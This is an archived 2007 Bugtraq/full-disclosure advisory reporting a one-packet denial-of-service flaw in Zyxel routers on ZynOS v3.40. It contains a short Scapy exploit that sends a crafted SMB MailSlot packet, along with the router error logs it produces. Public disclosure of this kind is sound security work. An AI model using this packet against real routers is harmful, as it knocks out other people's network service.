bugtraq - ZynOS v3.40 One packet killer

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Message-ID: <62873.25904.qm@web23009.mail.ird.yahoo.com>
Date: Mon, 19 Mar 2007 23:31:43 +0100 (CET)
From: Joxean Koret <joxeankoret@...oo.es>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: ZynOS v3.40 One packet killer

Hi to all,

While playing in my home's network with Scapy I found
a vulnerability affecting the wireless services
offered by Zyxel routers with, at least, ZynOS v3.40.
That's the unique model I tested.

The exploit in question:

----------------------------------------------
""" ZynOS v3.40 One packet killer """
from scapy import sr, SMBMailSlot

sr(SMBMailSlot(name="\\M"))
----------------------------------------------

After launching it you will found in the router's
errlog a text like the following:

  34 Sat Jan 01 00:00:13 2000 PP15  WARN 
netMakeChannDial: err=-3001 rn_p=9483fbb0
  37 Sat Jan 01 00:00:18 2000 PP15  WARN 
netMakeChannDial: err=-3001 rn_p=9483fbb0
  40 Sat Jan 01 00:00:23 2000 PP15  WARN 
netMakeChannDial: err=-3001 rn_p=9483fbb0
  42 Sat Jan 01 00:00:28 2000 PP15  WARN 
netMakeChannDial: err=-3001 rn_p=9483fbb0
  45 Sat Jan 01 00:00:35 2000 PP15  WARN 
netMakeChannDial: err=-3001 rn_p=9483fbb0
  46 Sat Jan 01 00:00:37 2000 PP0b  WARN  MPOA Link
Down
  48 Sat Jan 01 00:00:40 2000 PP15  WARN 
netMakeChannDial: err=-3001 rn_p=9483fbb0
  51 Sat Jan 01 00:00:49 2000 PP15  WARN 
netMakeChannDial: err=-3001 rn_p=9483fbb0
  54 Sat Jan 01 00:00:54 2000 PP15  WARN 
netMakeChannDial: err=-3001 rn_p=9483fbb0
  57 Sat Jan 01 00:00:58 2000 PP0b  WARN  MPOA Link Up

The following is the complete version:

router> sys version
 ZyNOS version: V3.40(AHQ.0) | 05/01/2006
 romRasSize: 2321890
 system up time:     0:03:17 (4d3d ticks)
 bootbase version: V1.06 | 1/20/2006

Disclaimer
----------

The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory. 

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